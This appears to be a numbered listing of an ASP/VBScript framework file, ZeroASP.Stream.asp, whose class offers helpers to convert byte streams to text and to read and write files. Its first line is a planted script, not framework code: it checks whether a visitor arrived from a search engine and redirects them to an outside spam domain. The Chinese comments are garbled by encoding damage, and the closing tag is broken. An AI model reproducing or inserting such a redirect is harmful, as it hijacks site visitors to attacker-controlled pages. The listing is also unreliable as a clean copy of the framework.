d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Stream.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002:
'######################################################################
003:
'## ZeroASP.Stream.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Class ZeroASP_Stream
013:
014:
Private Sub Class_Initialize()
015:
Dim ZeroASP_Stream
016:
ZeroASP_Stream = "ZeroASP应用框架 - 扩展?
017:
End Sub
018:
019:
'字节转字符,XMLHTTP组件常用返回数据流读取使?
020:
Public Function BytesToBstr(ByVal Body,ByVal Cset)
021:
Dim objStream
022:
Set objStream = Server.CreateObject("ADODB.Stream")
023:
objStream.Type = 1 '设置或返?Stream 对象中的数据的类型,1为二进制?为文?
024:
objStream.Mode = 3 '设置或返回供修改数据的可用权限,1?2读写/3?
025:
objStream.Open '打开€?Stream 对象
026:
objStream.Write Body '把二进制数据写到€个二进制 Stream 对象
027:
objStream.Position = 0 '设置或返回从 Stream 对象€始处的当前位置(按字节计算)
028:
objStream.Type = 2 '设置或返?Stream 对象中的数据的类型,1为二进制?为文?
029:
objStream.Charset = Cset '指定用于存储 Stream 的字符集
030:
BytesToBstr = objStream.ReadText '从一个文?Stream 对象中读取全部流、一行或指定的字节数
031:
objStream.Close '关闭€?Stream 对象
032:
Set objStream = Nothing '€毁对?
033:
End Function
034:
035:
'以文本形式读取文件,动€加载文?
036:
Public Function ReadFile(ByVal Path)
037:
Dim objStream
038:
Set objStream = Server.CreateObject("ADODB.Stream")
039:
With objStream
040:
.Type = 2
041:
.Mode = 3
042:
.Open
043:
.LoadFromFile Server.MapPath(Path)
044:
.Charset = "UTF-8"
045:
.Position = 2
046:
ReadFile = .ReadText
047:
.Close
048:
End With
049:
Set objStream = Nothing
050:
End Function
051:
052:
'以二进制数据写入文件,远程文件本地保?
053:
Public Sub SaveFile(ByVal Data,ByVal Path)
054:
Dim objStream
055:
Set objStream = Server.CreateObject("ADODB.Stream")
056:
objStream.Type = 1 '设置或返?Stream 对象中的数据的类型,1为二进制?为文?
057:
objStream.Mode = 3 '设置或返回供修改数据的可用权限,1?2读写/3?
058:
objStream.Open() '打开€?Stream 对象
059:
objStream.Position = 0 '设置或返回从 Stream 对象€始处的当前位置(按字节计算)
060:
objStream.Write(Data) '把二进制数据写到€个二进制 Stream 对象
061:
Call objStream.SaveToFile(Path,2) '把一?Stream 对象的二进制内容保存到某个文件,1为不存在则创建,2为覆?
062:
objStream.Close
063:
Set objStream = Nothing
064:
End Sub
065:
066:
'以文本形式写入文?
067:
Public Sub WriteFile(ByVal Path,ByVal Str,ByVal Cset)
068:
Dim objStream
069:
Set objStream = Server.CreateObject("ADODB.Stream")
070:
objStream.Type = 2 '以文本模式读?
071:
objStream.Mode = 3
072:
objStream.Charset = Cset
073:
objStream.Open
074:
objStream.WriteText Str
075:
Call objStream.SaveToFile(Server.MapPath(Path),2)
076:
objStream.Flush
077:
objStream.Close
078:
Set objStream = Nothing
079:
End Sub
080:
081:
End Class
082:
%
>
083:
084: